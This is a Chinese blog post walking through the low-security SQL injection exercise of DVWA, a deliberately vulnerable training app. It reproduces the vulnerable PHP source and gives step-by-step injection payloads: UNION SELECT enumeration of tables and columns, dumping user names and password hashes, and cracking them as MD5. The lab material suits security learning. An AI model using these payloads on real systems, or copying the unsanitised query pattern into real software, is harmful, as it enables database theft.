DVWA——SQL Injection(low)
Posted 想学习安全的小白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA——SQL Injection(low)相关的知识,希望对你有一定的参考价值。
SQL Injection
界面
源代码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) )
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) )
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: $id<br />First name: $first<br />Surname: $last</pre>";
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
代码分析
用户点击submit后获取到用户输入的id,然后将相应的first_name,last_name打印出来,可以看到并没有对用户输入的id进行合法判断,容易造成sql注入。
渗透步骤
第一步:输入1,查看结果
第二步:输入1‘ or ‘1’=’1
,查看结果,可以看到得到了数据库里面的所有id数据,从而得知确实存在sql漏洞
第三步:通过order by猜当前库的字段,输入1' or 1=1 order by 1 #
,输入结果正常
第四步:通过order by猜当前库的字段,输入1' or 1=1 order by 2 #
,输入结果正常
第五步:输入1' or 1=1 order by 3 #
,输入结果不正常,当前数据库只有两个字段,即First name和Surname
第六步:输入1' union select 1,2
,可以看到在第二栏数据中出现了1,2,可以修改1,2的值,获得我的想要的数据
第七步:测试上一步猜想,输入1' union select database(),version()#
获取当前数据库名,以及数据库版本,查看结果确认可以使用union select获取到想要的数据。
第八步:输入1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
获取数据库当中的表名
第九步:将获得hex编码进行解码,得到真实表名:guestbook,users,就两个表
第十步:输入1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users' #
查看users表里面的字段名,解码
第十一步:输入1' union select first_name,password from users#
,查询用户名以及密码
第十二步:使用md5解密工具,将获得的密码进行解密,可以看到结果正确
遇到的问题
1、 第八步以及第十步为什么用到hex函数
解决方法:如果不使用hex函数,将会报错,这是由于编码引发的问题
错误图片:
2、怎样确定数据库使用的是md5加密方式
解决方法:猜的,运气好
以上是关于DVWA——SQL Injection(low)的主要内容,如果未能解决你的问题,请参考以下文章
low security dvwa--SQL Injection(Blind)